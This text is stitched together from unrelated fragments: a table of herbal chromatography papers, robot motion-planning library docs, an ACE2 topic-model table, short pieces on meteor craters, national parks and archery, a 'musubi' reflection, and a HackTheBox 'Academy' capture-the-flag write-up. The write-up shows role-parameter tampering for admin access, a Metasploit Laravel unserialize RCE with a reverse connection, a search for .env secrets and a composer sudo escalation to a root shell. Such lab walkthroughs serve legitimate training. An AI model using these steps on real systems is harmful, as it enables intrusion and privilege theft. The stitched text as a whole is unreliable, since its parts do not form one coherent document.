Separation and analysis of glycyrrhizin, 18β-glycyrrhetic acid and 18α-glycyrrhetic acid in liquorice roots by means of capillary zone electrophoresis |
Sabbioni, Cesare; Mandrioli, Roberto; Ferranti, Anna; Bugamelli, Francesca; Saracino, Maria Addolorata; Forti, Giorgio Cantelli; Fanali, Salvatore; Raggi, Maria Augusta |
2005 |
2005-07-15 |
PMC |
N |
PMC7125616 |
16013600.0 |
10.1016/j.chroma.2005.03.044 |
9iqtk21g |
0.629275 |
Wang_2013 |
Cheng_2014, Zhao_2006, Farag_2014 |
| 20 |
Li_H_2004 |
Separation methods used for Scutellaria baicalensis active components |
Li, Hua-Bin; Jiang, Yue; Chen, Feng |
2004 |
2004-12-05 |
PMC |
N |
PMC7105199 |
15556504.0 |
10.1016/j.jchromb.2004.06.045 |
14vlwsh5 |
0.621896 |
Wang_2013 |
Xing_2014, Xie_J_2018, Fang_2019 |
| 21 |
Jiang_2004 |
Preparative purification of glycyrrhizin extracted from the root of liquorice using high-speed counter-current chromatography |
Jiang, Yue; Lu, Hai-Tao; Chen, Feng |
2004 |
2004-04-09 |
PMC |
N |
PMC7125852 |
15072305.0 |
10.1016/j.chroma.2004.01.033 |
40ykj7ca |
0.585758 |
|
Xie_J_2018, Cheng_2014, Nie_L_2016 |
| 22 |
Liu_Z_2017 |
Quality Evaluation of Juniperus rigida Sieb. et Zucc. Based on Phenolic Profiles, Bioactivity, and HPLC Fingerprint Combined with Chemometrics |
Liu, Zehua; Wang, Dongmei; Li, Dengwu; Zhang, Shuai |
2017 |
2017-04-19 |
COMM-USE |
N |
PMC5395569 |
28469573.0 |
10.3389/fphar.2017.00198 |
x7wyr3bf |
0.564939 |
Wang_2014, Zhang_2016 |
Xie_J_2018, Lee_C_2020, YAO_R_2013, Fang_2019 |
| 23 |
Fang_2019 |
Qualitative and Quantitative Analysis of 24 Components in Jinlianhua Decoction by UPLC–MS/MS |
Fang, Mingyue; Liu, Shuangyue; Wang, Qingqing; Gu, Xuan; Ding, Pengmin; Wang, Weihua; Ding, Yi; Liu, Junxiu; Wang, Rufeng |
2019 |
2019-09-28 |
PMC |
N |
PMC7088050 |
|
10.1007/s10337-019-03806-w |
gtcr19qr |
0.562760 |
Yang_2017, Xu_X_2016, Wang_2014, WU_L_2015, Feng_Yeh_2013 |
Shingnaisui_2018, Lee_C_2020, Zhang_2008 |
| 24 |
Nuengchamnong_2009 |
Rapid screening and identification of antioxidants in aqueous extracts of Houttuynia cordata using LC–ESI–MS coupled with DPPH assay |
Nuengchamnong, Nitra; Krittasilp, Kamlai; Ingkaninan, Kornkanok |
2009 |
2009-12-15 |
PMC |
N |
PMC7116947 |
|
10.1016/j.foodchem.2009.04.071 |
b2ggommf |
0.550942 |
Lim_T_2015, Cai_Y_2004, Farag_2014, Lans_2007 |
Lee_C_2020, Dong_2008, Cheng_2014, Fang_2019 |
| 25 |
Nie_L_2016 |
Improved Chiral Separation of (R,S)-Goitrin by SFC: An Application in Traditional Chinese Medicine |
Nie, Lixing; Dai, Zhong; Ma, Shuangcheng |
2016 |
2016-02-21 |
COMM-USE |
N |
PMC4779522 |
27022502.0 |
10.1155/2016/5782942 |
97elsy10 |
0.548403 |
Wang_2013 |
Xie_J_2018, Lee_C_2020, Cheng_2014, Xing_2014 |
| 26 |
Liau_2007 |
LC-APCI-MS method for detection and analysis of tryptanthrin, indigo, and indirubin in Daqingye and Banlangen |
Liau, Bing-Chung; Jong, Ting-Ting; Lee, Maw-Rong; Chen, Shih-Shiung |
2007 |
2007-01-04 |
PMC |
N |
PMC7126482 |
16884885.0 |
10.1016/j.jpba.2006.06.029 |
vkpqs61p |
0.521200 |
|
Fang_2019, Xing_2014, Lee_C_2020, Xing_2014 |
| 27 |
Huck_2015 |
Chapter 22 Infrared Spectroscopic Technologies for the Quality Control of Herbal Medicines |
Huck, Christian |
2015 |
2015-12-31 |
PMC |
N |
PMC7149424 |
|
10.1016/b978-0-12-800874-4.00022-2 |
394ntsyh |
0.447878 |
|
Lee_C_2020, Shingnaisui_2018, YAO_R_2013 |
| 28 |
Chen_2014 |
Determination of chemical changes in Isatis indigotica seeds carried after Chinese first spaceship with FTIR and 2D-IR correlation spectroscopy |
Chen, Xiangdong; Keong, Choong Yew; Mei, Xiling; Lan, Jin |
2014 |
2014-04-24 |
None |
N |
PMC7108284 |
24508891.0 |
10.1016/j.saa.2014.01.048 |
hto8jajb |
0.393722 |
|
Fang_2019, Cheng_2014, Xie_J_2018 |
| 29 |
YAO_Z_2011 |
Metabolism of Epimedium-derived Flavonoid Glycosides in Intestinal Flora of Rabbits and Its Inhibition by Gluconolactone |
YAO, Zhi-Hong; LIU, Ming-Yan; DAI, Yi; ZHANG, Yi; QIN, Zi-Fei; TU, Feng-Juan; YAO, Xin-Sheng |
2011 |
2011-11-30 |
PMC |
N |
PMC7128601 |
|
10.3724/sp.j.1009.2011.00461 |
cv81bq0a |
0.387432 |
|
Xing_2014, Park_2017, Zhou_2014, Lee_C_2020 |
| 30 |
Du_C_2013 |
Yu Ping Feng San, an Ancient Chinese Herbal Decoction Containing Astragali Radix, Atractylodis Macrocephalae Rhizoma and Saposhnikoviae Radix, Regulates the Release of Cytokines in Murine Macrophages |
Du, Crystal Y. Q.; Choi, Roy C. Y.; Zheng, Ken Y. Z.; Dong, Tina T. X.; Lau, David T. W.; Tsim, Karl W. K. |
2013 |
2013-11-11 |
COMM-USE |
N |
PMC3823765 |
24244327.0 |
10.1371/journal.pone.0078622 |
xk6vdre4 |
0.373449 |
|
Lee_C_2020, Shashidhar_2013, Shang_2011 |
| 31 |
Zhao_2006 |
Development of a monoclonal antibody-based enzyme-linked immunosorbent assay for the analysis of glycyrrhizic acid |
Zhao, Jing; Li, Gang; Wang, Bao-min; Liu, Wei; Nan, Tie-gui; Zhai, Zhi-xi; Li, Zhao-hu; Li, Qing X. |
2006 |
2006-09-28 |
PMC |
N |
PMC7079850 |
17006677.0 |
10.1007/s00216-006-0780-z |
kyry1wrs |
0.319704 |
|
Cheng_2014, Xie_J_2018 |


|
MRSL Motion Primitive Library
0.4
A motion primitive library for generating trajectory for mobile robots
|
Motion planning base util class. More...
#include <mp_base_util.h>
Public Member Functions | |
| MPBaseUtil () | |
| Simple constructor. | |
| bool | initialized () |
| Check if it has been planned. | |
| vec_E< Waypoint< Dim > > | getWs () const |
| Get states on the optimal trajectory. | |
| Trajectory< Dim > | getTraj () const |
| Get optimal trajectory. | |
| vec_E< Primitive< Dim > > | getValidPrimitives () const |
| Get expanded collision free primitives. | |
| vec_E< Primitive< Dim > > | getAllPrimitives () const |
| Get expanded primitives. | |
| vec_Vecf< Dim > | getOpenSet () const |
| Get points in open set. | |
| vec_Vecf< Dim > | getCloseSet () const |
| Get points in close set. | |
| vec_Vecf< Dim > | getNullSet () const |
| Get points neither in open nor close set. | |
| vec_Vecf< Dim > | getExpandedNodes () const |
| Get expanded points, for A* it should be the same as the close set. | |
| int | getExpandedNum () const |
| Get number of expanded nodes. | |
| void | getSubStateSpace (int time_step) |
| Prune state space. More... | |
| void | checkValidation () |
| Check tree validation. | |
| void | reset () |
| Reset state space. | |
| void | setLPAstar (bool use_lpastar) |
| Set max vel in each axis. | |
| void | setVmax (decimal_t v) |
| Set max vel in each axis. | |
| void | setAmax (decimal_t a) |
| Set max acc in each axis. | |
| void | setJmax (decimal_t j) |
| Set max jerk in each axis. | |
| void | setUmax (decimal_t u) |
| Set max control in each axis. | |
| void | setTmax (decimal_t t) |
| Set max time step to explore. | |
| void | setPriorTrajectory (const Trajectory< Dim > &traj) |
| Set prior trajectory. | |
| void | setDt (decimal_t dt) |
| Set dt for each primitive. | |
| void | setW (decimal_t w) |
| Set weight for cost in time. | |
| void | setAlpha (int alpha) |
| Set alpha in time offset. | |
| void | setEpsilon (decimal_t eps) |
| Set greedy searching param. | |
| void | setMaxNum (int num) |
| Set max number of expansion. | |
| void | setU (const vec_Vecf< Dim > &U) |
| Set U. | |
| void | setTol (decimal_t tol_dis, decimal_t tol_vel=0, decimal_t tol_acc=0) |
| Set tolerance in geometric and dynamic spaces. | |
| bool | plan (const Waypoint< Dim > &start, const Waypoint< Dim > &goal) |
| Planning thread. More... | |
Protected Attributes | |
| std::shared_ptr< MPL::env_base< Dim > > | ENV_ |
| Env class. | |
| std::shared_ptr< MPL::StateSpace< Dim > > | ss_ptr_ |
| Planner workspace. | |
| vec_E< Waypoint< Dim > > | ws_ |
| Intermediate nodes in optimal trajectory. | |
| Trajectory< Dim > | traj_ |
| Optimal trajectory. | |
| decimal_t | epsilon_ = 1.0 |
| Greedy searching parameter. | |
| int | max_num_ = -1 |
| Maxmum number of expansion, -1 means no limitation. | |
| decimal_t | max_t_ = 0 |
| Maxmum time horizon of expansion, 0 means no limitation. | |
| bool | use_lpastar_ = false |
| Enable LPAstar for planning. | |
| bool | planner_verbose_ |
| Enabled to display debug message. | |
Motion planning base util class.
| void MPBaseUtil< Dim >::getSubStateSpace | ( | int | time_step | ) |
Prune state space.
| time_step | set the root of state space to be the waypoint on the best trajectory at best_child_[time_step] |
| bool MPBaseUtil< Dim >::plan | ( | const Waypoint< Dim > & | start, |
| const Waypoint< Dim > & | goal | ||
| ) |
Planning thread.
| start | start waypoint |
| goal | goal waypoint |
The goal waypoint is the center of the goal region, the planner cannot find the trajectory hits the exact goal state due to discretization


| t01 |
RAS, system, ang, angiotensin, cardiovascular, axis, II, renin, receptor, - |
84 |
0 |
| t02 |
ACE2, ACE, enzyme, angiotensin, angiotensin-converting, kidney, angiotensin_ii, II, SARS, angiotensin-converting_enzyme |
42 |
3 |
| t03 |
expression, mice, levels, cells, increased, stress, mrna, oxidative, decreased, rat |
23 |
0 |
| t04 |
COVID-19, arbs, aceis, sars-cov-2, infection, viral, patients, mortality, price, virus |
15 |
12 |
| t05 |
DPP4, DPP-4, agonists, inhibitors, pparγ, dipeptidyl, GLP-1, dual, effects, I50 |
18 |
0 |
| t06 |
=, HF, sace2, patients, activity, dogs, LV, plasma, circulating, sace2_activity |
10 |
1 |
| t07 |
rats, mg/kg, musk, PF, PH, theaflavin, administration, hepatic, administered, BLM |
11 |
0 |
| t08 |
cardiac, heart, failure, cardiomyopathy, myocarditis, heart_failure, pompe, dilated, death, structure |
17 |
0 |
| t09 |
diabetic, renal, urinary, diabetes, diabetic_nephropathy, dialysis, PRINS, nephropathy, transplant, SONFH |
12 |
0 |
| t10 |
ACE-2, APN, IV, DPP, aminopeptidase, peptidases, meconium, enzymes, dpp_iv, AD |
14 |
0 |
| t11 |
amino, lung, acid, acute_lung_injury, acute, intestinal, gut, B0AT1, ARDS, neutral |
11 |
0 |
| t12 |
shedding, ADAM17, pancreatic, proximal, tubular_cells, shed, tubular, ang-(1, kda, islets |
10 |
0 |
| t13 |
stroke, AT1R, ischemic, ischemic_stroke, NGAL, EMMPRIN, reperfusion, MMP-9, infarct, NAP9 |
11 |
0 |
| t14 |
apod, HDL, binding, PDI, PERC, TCA, ACE(2, strains, LDL, ace-inhibitors |
9 |
0 |
| t15 |
>, de, <, [pyr(1)]apelin-13((1–12, pd(2, el, 9, ±, los, ECA2 |
5 |
0 |


3 biggest meteor strikes on Earth:
Vredefort Dome, South Africa
Chicxulub Crater, Mexico
Sudbury Basin, Ontario, Canada


The National Park Service preserves unimpaired the natural and cultural resources and values of the National Park System for the enjoyment, education, and inspiration of this and future generations. The Park Service cooperates with partners to extend the benefits of natural and cultural resource conservation and outdoor recreation throughout this country and the world.
"National parks are the best idea we ever had. Absolutely American, absolutely democratic, they reflect us at our best rather than our worst."
So wrote author Wallace Stegner in 1983.


Academy HacktheBox Writeup
Academy HackTheBox Writeup
First Stage : Enumeration
Let’s fire up nmap.
# Nmap 7.91 scan initiated Wed Jan 20 12:32:23 2021 as: nmap -sC -sV -T4 -vv -p- -oN nmapscan <IP_ADDRESS>
Warning: <IP_ADDRESS> giving up on port because retransmission cap hit (6).
Nmap scan report for <IP_ADDRESS>
Host is up, received syn-ack (0.24s latency).
Scanned at 2021-01-20 12:32:25 IST for 2473s
Not shown: 64541 closed ports, 991 filtered ports
Reason: 64541 conn-refused and 991 no-responses
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c0:90:a3:d8:35:25:6f:fa:33:06:cf:80:13:a0:a5:53 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/0BA3dU0ygKCvP7G3GklCeOqxb17vxMCsugN05RA9Fhj7AzkPiMLrrKRY656gBuscH23utAWAhRXzV1SyU37bbFzEbfaqYAlh1ggHEuluLgbf9QsYZe76zCx2SRPOzoI9Q40klVvuu9E92pNLe80dvUZj644EwhJTGw4KGxeOqeuo/nXnYfiNAbWvOe9Qp+djDbEvP5lHwIDMTAtgggoSC1chubC3jFC4hihuYjtitjUr4+5fROomhJAo/GEvdBj2CYNHIFEvmuvb32cgul5ENQS4fJXpcI7fbP9/+b/cfA9oRxG2k+k1M8mUld2h5mHEVBE5Z9WKS3cRYu97oVKnRRCoDY/55mZw6lngIdH4drpYwzCrZcCWgviXRfCeOwmZ8sucap6qN/nFYnPoF7fd+LGaQOhz9MkAZCTMmLqSiZGSistAIPzHtABH0VQDbo2TqJ+kGWr9/EamCcYBbVVPaFj/XQqujoEjLYW+igihwrPEQ7zxlleQHwg91oSVy38=
| 256 2a:d5:4b:d0:46:f0:ed:c9:3c:8d:f6:5d:ab:ae:77:96 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAIMsz8qKL1UCyrPmpM5iTmoy3cOsk+4L7oFdcPjBXwAcUVvnti7nXHlNqMfgsapbGSIl7AWTOeXLZmw2J6JWvE=
| 256 e1:64:14:c3:cc:51:b2:3b:a6:28:a7:b1:ae:5f:45:35 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHBP1E2rWeTShvyJKxC5Brv1Do3OwvWIzlZHWVw/bD0R
80/tcp open http syn-ack Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://academy.htb/
33060/tcp open mysqlx? syn-ack
| fingerprint-strings:
| DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp:
| Invalid message"
|_ HY000
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port33060-TCP:V=7.91%I=7%D=1/20%Time=6007DF06%P=x86_64-pc-linux-gnu%r(N
SF:ULL,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(GenericLines,9,"\x05\0\0\0\x0b\
SF:x08\x05\x1a\0")%r(GetRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(HTTPOp
SF:tions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(RTSPRequest,9,"\x05\0\0\0\x0b
SF:\x08\x05\x1a\0")%r(RPCCheck,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSVers
SF:ionBindReqTCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSStatusRequestTCP,2
SF:B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fI
SF:nvalid\x20message\"\x05HY000")%r(Help,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")
SF:%r(SSLSessionReq,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01
SF:\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000")%r(TerminalServerCookie
SF:,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TLSSessionReq,2B,"\x05\0\0\0\x0b\x
SF:08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"
SF:\x05HY000")%r(Kerberos,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SMBProgNeg,9
SF:,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(X11Probe,2B,"\x05\0\0\0\x0b\x08\x05\
SF:x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY0
SF:00")%r(FourOhFourRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LPDString,
SF:9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LDAPSearchReq,2B,"\x05\0\0\0\x0b\x0
SF:8\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\
SF:x05HY000")%r(LDAPBindReq,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SIPOptions
SF:,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LANDesk-RC,9,"\x05\0\0\0\x0b\x08\x
SF:05\x1a\0")%r(TerminalServer,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NCP,9,"
SF:\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NotesRPC,2B,"\x05\0\0\0\x0b\x08\x05\x1
SF:a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000
SF:")%r(JavaRMI,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(WMSRequest,9,"\x05\0\0
SF:\0\x0b\x08\x05\x1a\0")%r(oracle-tns,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r
SF:(ms-sql-s,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(afp,2B,"\x05\0\0\0\x0b\x0
SF:8\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\
SF:x05HY000")%r(giop,9,"\x05\0\0\0\x0b\x08\x05\x1a\0");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jan 20 13:13:38 2021 -- 1 IP address (1 host up) scanned in 2475.13 seconds
Hence the open ports are:
- 22
- 80
- 33060
So it seems like port 80 is our way in.
Let’s visit it .
Note : add academy.htb Boxip in /etc/hosts file
Hence Let’s fire up gobuster to find hidden directories.
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://academy.htb/
[+] Threads: 50
[+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: txt,html,php
[+] Timeout: 10s
===============================================================
2021/01/20 12:34:34 Starting gobuster
===============================================================
/register.php (Status: 200)
/admin.php (Status: 200)
/home.php (Status: 302)
/config.php (Status: 200)
/server-status (Status: 403)
===============================================================
2021/01/20 13:46:20 Finished
===============================================================
===============================================================
So we have an interesting directory admin.php
As I was seeing source code of every page , register.php caught my eye.
So let’s fire up burpsuite.
Hence while registering I intercepted the request.
I changed the roleid to 1 and forwarded I got to .
Afterwards we are redirected to login.php.
Hence I try this credentials on admin.php and boom it worked !
So I after I login I see this strange subdomain.
Hence we visit that subdomain after adding it to /etc/hosts.
Hence we see the app name is Laravel.
So maybe this might have a public exploit.
Second Stage : Initial access as www-data
After searching we see that there is a metasploit module.
Before we exploit let’s understand what is the vulnerability and how it is exploited.
This module exploits a vulnerability in the PHP Laravel Framework for versions 5.5.40, 5.6.x <= 5.6.29. Remote Command Execution is possible via a correctly formatted HTTP X-XSRF-TOKEN header, due to an insecure unserialize call of the decrypt method in Illuminate/Encryption/Encrypter.php. Authentication is not required, however exploitation requires knowledge of the Laravel APP_KEY. Similar vulnerabilities appear to exist within Laravel cookie tokens based on the code fix. In some cases the APP_KEY is leaked which allows for discovery and exploitation.
So let’s fire up metasploit.
use exploit/unix/http/laravel_token_unserialize_exec
set LHOST tun0
set APP_KEY <app-key>
set RHOSTS <box-ip>
set VHOST <redacted>.academy.htb
run
Since metasploit session may die , let’s use reverse shell and get a proper shell.
Third Stage : www-data to cry0l1t3
So we need to find which user we want to escalate as.
So the user cry0l1t3 has the user flag so let’s aim for that user.
I ran linpeas but got no password , maybe I was not looking closely . Then I searched important files of Laravel . I got to know that .env files have sensitive information.
Hence I did this search .
find / -type f -name .env 2»/dev/null
Hence I opened the first file.
I used this for cry0l1t3 and it worked.
Fourth Stage : cry0l1t3 to mrb3n
Let’s ssh using the passsword we got.
Use /bin/bash -p to get a proper bash shell.
So I ran linpeas as usual.
And as I was reading through the results I found this.
So we get user mrb3n’s password
Fifth Stage : mrb3n to root
As soon as I got in as mrb3n I tried
sudo -l
Hence I went to GTFOBins
And searched for composer.
And steps to escalate are as follows
TF=$(mktemp -d)
echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json
sudo /usr/bin/composer --working-dir=$TF run-script x


Archery is a social sport. Many people, from many walks of life enjoy archery. Almost every age group can participate, and children as young as six or seven have taken well to the sport, while it is not unheard of for people in their eighties to be shooting competitively. It also teaches the benefits of teamwork in some cases with some competitions involving groups of people.


an old tailor
- 「土地の氏神様を古い言葉でムスビって呼ぶんやさ。
- この言葉には深ーい意味がある。
- 糸を繋げることもムスビ。
- 人を繋げることもムスビ。
- 時間が流れることもムスビ。
- 全部神様の力や。わしらの作る組紐も神様の技、時間の流れそのものをあらわしとる
- よりあつまって形を作り捻じれて絡まって時には戻って途切れてまたつながって」
Musubi is the old way of calling the local guardian god. This word has profound meaning. Tying thread is Musubi. Connecting people is Musubi. The flow of time is Musubi. These are all the god's power. So the braided cords that we make are the god's art and represent the flow of time itself. They converge and take shape. They twist, tangle sometimes unravel, break, then connect again.
Musubi to me is when the weave bends, twists, straightens, loops, when your heart skips a beat, that split second when everything goes horribly wrong, the surge of energy when you're around a certain group of people. Musubi is the evening after school when you stare out the window into the sky for hours. Musubi is eagerly waiting for the guests to arrive. Musubi is the sound of the gong in your head when you come back to your senses and realise you've caused hurt. It is sitting in a dark room and writing at 4 in the morning and it is the sound of a mobile notification in a crowded train. It is reading a book with someone you love and it is running your friend to the hospital at midnight. It is sunlight flowing through the leaves and it is a dead bird on the ground. It is a colorful 100-yen store and it is a dark highway. It is stretching out your legs. It is an old tailor. It is a monolith. It is what it is.